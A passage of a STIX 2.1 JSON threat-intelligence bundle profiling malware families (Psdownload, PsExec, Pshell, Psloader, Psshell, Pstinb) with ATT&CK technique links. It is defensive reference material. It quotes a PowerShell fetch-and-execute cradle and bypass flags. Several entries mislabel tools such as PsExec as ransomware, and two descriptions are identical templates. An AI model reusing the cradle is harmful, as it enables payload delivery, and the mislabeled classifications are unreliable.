      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Proxyweb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/proxyweb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4456f733-702a-5574-87a7-e6bce9bc2fb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d3e6fc0-bce1-53a8-9b52-7b02d7383139",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyweb exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Acting as a relay node for attackers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccfb902a-05b6-511f-b335-d0e19526d1d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d3e6fc0-bce1-53a8-9b52-7b02d7383139",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyweb exhibits technique T1071.001 (Application Layer Protocol (Communicating with the botmaster))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--853546c2-b318-55e4-8760-e208e136b941",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d3e6fc0-bce1-53a8-9b52-7b02d7383139",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyweb exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c0424fc-677a-5c57-9c7e-acc778286d11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d3e6fc0-bce1-53a8-9b52-7b02d7383139",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyweb exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Opening ports for proxy traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--076c7e45-dc2d-5afc-9fcf-7f195694a6dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psdownload",
      "description": "Psdownload (tracked across cybersecurity vendors and endpoint detection platforms under signatures such as TrojanDownloader:PowerShell/Psdownload, Trojan:PowerShell/Psdownload.A, and Trojan:PowerShell/Psdownload!MSR) represents a prolific family of weaponized PowerShell scripts and living-off-the-land (LotL) downloaders active since 2017. Designed to achieve fileless execution or stage secondary malware payloads onto Windows endpoints, Psdownload scripts are typically delivered via phishing emails with macro-enabled Office documents, weaponized ISO/LNK shortcuts, or malvertising redirection chains. Upon execution, the obfuscated PowerShell script executes with execution bypass flags (-ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden), invokes WebClient or Invoke-WebRequest APIs (such as Net.WebClient.DownloadFile or Invoke-RestMethod), and dynamically retrieves encoded secondary payloads\u2014including Cobalt Strike beacons, banking trojans, and ransomware\u2014saving or executing them directly in system memory using AMSI bypass techniques. (Observed samples in benchmark: 41)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:PowerShell/Psdownload",
        "Trojan:PowerShell/Psdownload.A",
        "TrojanDownloader:PowerShell/Psdownload.B",
        "PowerShell/Downloader.Psdownload",
        "Trojan:PowerShell/Psdownload!MSR"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psdownload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psdownload"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83f0851f-6d16-5191-8ffd-6e387173d943",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psexec",
      "description": "<h3>Executive Summary</h3>\nPsExec is a perfectly legitimate, highly powerful command-line utility created by Microsoft Sysinternals. It allows system administrators to execute processes on remote Windows systems without having to manually install client software. However, due to its immense power and \"living off the land\" nature, PsExec is one of the most heavily abused tools by threat actors, ransomware gangs, and APT groups to facilitate rapid lateral movement and automated payload deployment across compromised networks.\n\n<h3>Technical Capabilities and Malicious Abuse</h3>\nPsExec operates using the Server Message Block (SMB) protocol. It connects to the hidden `ADMIN$` share on the target machine, uploads a lightweight service executable (`PSEXESVC.exe`), and starts it via the Windows Service Control Manager (SCM). This service then executes the requested command.\n\nThreat actors exploit this functionality after they have compromised an administrative account:\n<ul>\n<li><strong>Lateral Movement:</strong> Once an attacker dumps credentials (e.g., using Mimikatz) and obtains a Domain Admin hash, they use PsExec (or heavily modified clones like Impacket's `psexec.py`) to \"pass the hash.\" This allows them to instantly gain interactive command-line access to any server or workstation in the domain without cracking the actual password.</li>\n<li><strong>Ransomware Deployment:</strong> Ransomware operators (such as Ryuk or Conti) frequently write scripts that loop through lists of all active IP addresses on the corporate network, utilizing PsExec to push the ransomware executable to every machine simultaneously, ensuring maximum destruction before defenders can react.</li>\n<li><strong>Evasion:</strong> Because PsExec is a Microsoft-signed administrative tool, its execution is often ignored by legacy antivirus solutions, making it an ideal \"fileless\" execution vector.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of PsExec execution is highly context-dependent. If it is used by a known administrator from a jump server to patch a system, it is benign. If it is executed from an unexpected endpoint (like a receptionist's PC) at 3:00 AM to launch a randomly named executable on a domain controller, it is a critical indicator of a major breach in progress.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Monitoring (EDR):</strong> Security teams must tune their EDR solutions to aggressively monitor the usage of PsExec. Alerts should trigger if PsExec is launched by non-administrative accounts, or if it is used to execute known malicious binaries, PowerShell scripts, or batch files.</li>\n<li><strong>Network Segmentation (SMB):</strong> Limit lateral movement by heavily restricting SMB traffic (TCP Port 445) between workstations. Only allow designated administrative jump boxes to initiate SMB connections to endpoints.</li>\n<li><strong>Credential Tiering:</strong> Implement the Microsoft Tiered Admin Model to prevent Domain Admin credentials from being cached on standard workstations, denying attackers the high-privileged accounts required to abuse PsExec across the enterprise.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PsExec",
        "Sysinternals.PsExec",
        "LateralMovement.Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psexec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psexec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3ef6749-b4ab-5519-8bd8-483e6222c559",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f0851f-6d16-5191-8ffd-6e387173d943",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psexec exhibits technique T1569.002 (System Services: Service Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--006f1a3d-38b6-5f0d-9f3e-d3953dd9eef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f0851f-6d16-5191-8ffd-6e387173d943",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psexec exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b83bde9f-dc4b-5466-a019-cf16b2b2a475",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f0851f-6d16-5191-8ffd-6e387173d943",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psexec exhibits technique T1570 (Lateral Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--519fb61f-adaf-5309-98e2-f35343070b78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83f0851f-6d16-5191-8ffd-6e387173d943",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psexec exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--58e4378e-10f2-5b37-a20a-665ef6c7543d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pshell",
      "description": "Trojan:PowerShell/Pshell is not a specific malware family, but a highly critical **Generic Heuristic Detection** focused entirely on the malicious abuse of the Windows PowerShell framework. Microsoft Defender and other AV engines use this classification when they detect a PowerShell script or command-line execution exhibiting behaviors that strongly indicate malicious intent, regardless of the specific payload being delivered.<br><br><b>Understanding Pshell (Living off the Land)</b><br>To an end-user, this detection usually appears as a blocked script execution in the background. For a security analyst, Pshell is a massive red flag indicating an attack utilizing 'Living off the Land' (LotL) techniques. By abusing PowerShell (`T1059.001`), attackers leverage a trusted, built-in system administration tool to download payloads, execute code in memory, and bypass traditional application whitelisting and file-based antivirus scanners.<br><br><b>Execution and Evasion Mechanics</b><br>The specific mechanics triggering a Pshell alert are vast. Common triggers include: obfuscated or heavily encoded PowerShell scripts (e.g., using Base64 encoding via the `-enc` or `-EncodedCommand` flags) (`T1027`); scripts that attempt to use `Invoke-WebRequest` or `Net.WebClient` to download executables directly into memory (fileless malware) (`T1105`); scripts attempting to bypass the Execution Policy (`-ExecutionPolicy Bypass`); or scripts containing known malicious cmdlets like `Invoke-ReflectivePEInjection` (often associated with tools like Empire or PowerSploit).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on what the PowerShell script was attempting to execute (ranging from a simple coinminer to a devastating ransomware deployment). Host-based IoCs are centered around the PowerShell operational event logs (Event IDs 4104, 4103) which must be analyzed to decode the obfuscated command that triggered the AV block. Network IoCs include the PowerShell process (`powershell.exe`) making anomalous outbound connections to download secondary payloads. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pshell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pshell"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13f603d7-2ea4-52ea-94e6-b7c2eaa8e0a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58e4378e-10f2-5b37-a20a-665ef6c7543d",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pshell exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (The core heuristic trigger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97cd2897-104f-597a-ab81-216e6ecc7e2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58e4378e-10f2-5b37-a20a-665ef6c7543d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pshell exhibits technique T1027 (Obfuscated Files or Information (Encoded commands))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8540fd5e-b024-5711-811e-efc4f276d40b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--58e4378e-10f2-5b37-a20a-665ef6c7543d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pshell exhibits technique T1105 (Ingress Tool Transfer (Downloading payloads via PS))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psloader",
      "description": "Trojan:Win32/Psloader is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Psloader</b><br>To an end-user, a Psloader infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Psloader is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Psloader is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Psloader frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Psloader reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6293e39b-a81f-5dc8-a294-ba9d81a364a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7930080b-fe92-5fc5-b60e-0ad31f599bd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58732b10-c7d0-5dca-b21e-de9c071febe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ad81ee5-579a-548e-a694-631867ce8059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f29e1d91-68c3-5531-a27d-ac3aae3d229a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51da2387-ea8b-54f4-a4b6-d494d19e57d3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8e7a8a1f-1ce5-5185-a5a6-d76c8c05e4dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Psshell",
      "description": "<h3>Executive Summary</h3>\nPSShell refers to a category of offensive PowerShell scripts and frameworks (such as Nishang or Empire modules) designed to establish a remote, interactive command shell on a compromised Windows system. While PowerShell is a legitimate administrative tool, \"PSShell\" variants are specifically weaponized to evade detection, bypass execution policies, and provide threat actors with a powerful \"Living off the Land\" (LotL) mechanism for post-exploitation, lateral movement, and data exfiltration.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPSShell scripts are rarely the initial infection vector. They are typically executed by an initial dropper (like a malicious macro) or deployed by an attacker who has already compromised an endpoint via RDP brute-forcing or vulnerability exploitation.\n\nOnce deployed, PSShell frameworks exhibit advanced offensive capabilities:\n<ul>\n<li><strong>Fileless Execution:</strong> PSShells are often executed entirely in memory using \"Download Cradles\" (e.g., `Invoke-Expression (New-Object Net.WebClient).DownloadString(...)`). This allows the attacker to establish a reverse shell without ever writing a `.ps1` script file to the hard drive, evading many traditional antivirus scanners.</li>\n<li><strong>AMSI Evasion:</strong> Modern PSShell frameworks incorporate code specifically designed to hook and bypass the Windows Anti-Malware Scan Interface (AMSI), preventing Windows Defender from scanning the malicious PowerShell commands as they are executed.</li>\n<li><strong>Post-Exploitation Framework:</strong> Once the shell is established, the attacker has unrestricted command-line access to the system. They can utilize built-in PowerShell cmdlets to dump credentials (e.g., Mimikatz modules), enumerate Active Directory, and pivot to other systems on the network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of an unauthorized PSShell is a critical incident indicating that an attacker has achieved interactive, command-line control over the endpoint. It signifies a mature compromise where the adversary is actively navigating the network and likely preparing for a larger objective, such as ransomware deployment or data theft.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Monitoring (EDR and Script Block Logging):</strong> Detection relies heavily on EDR telemetry and Windows Event Log 4104 (Script Block Logging). Analysts must review these logs to reconstruct the commands executed by the attacker during the PSShell session.</li>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be isolated instantly to severe the reverse shell connection and halt the attacker's lateral movement.</li>\n<li><strong>Total Re-imaging:</strong> Because the attacker had interactive command-line access, they could have established deep, secondary persistence mechanisms (like WMI event subscriptions or modified registry keys) that are difficult to uncover. A complete bare-metal wipe and re-image is required, alongside a global password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PSShell",
        "Riskware.PowerShell",
        "Trojan.PowerShell.ReverseShell",
        "Nishang"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Psshell",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/psshell"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f380de8d-d332-52f7-b267-0b7a993ad5a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e7a8a1f-1ce5-5185-a5a6-d76c8c05e4dd",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psshell exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--793d74e7-713e-5cc0-ad9e-14c561129b9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e7a8a1f-1ce5-5185-a5a6-d76c8c05e4dd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psshell exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f369863-a0a5-5af8-82b5-4086ae72adbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e7a8a1f-1ce5-5185-a5a6-d76c8c05e4dd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psshell exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9588ebe-4b29-5d43-b05b-7a8b2864a53f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e7a8a1f-1ce5-5185-a5a6-d76c8c05e4dd",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Psshell exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pstinb",
      "description": "Trojan:Win32/Pstinb is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pstinb</b><br>To an end-user, a Pstinb infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pstinb is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pstinb is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pstinb frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pstinb reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pstinb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pstinb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c138f78b-cb0d-50b8-a989-b15bb41b6f35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pstinb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23b37f02-49e5-5d39-a669-405f9d01bff5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pstinb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bed187b6-ba5f-55c8-96be-9f5eb1704061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pstinb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1a889d3-3658-50eb-8402-21081b875764",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pstinb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--811b1d51-98b3-515a-a09e-4a46f19c13b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b210ba53-4bad-566f-88a5-bca6c5e14e6c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pstinb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed1a364a-711f-594e-a100-24915ed4bd09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pswdump",
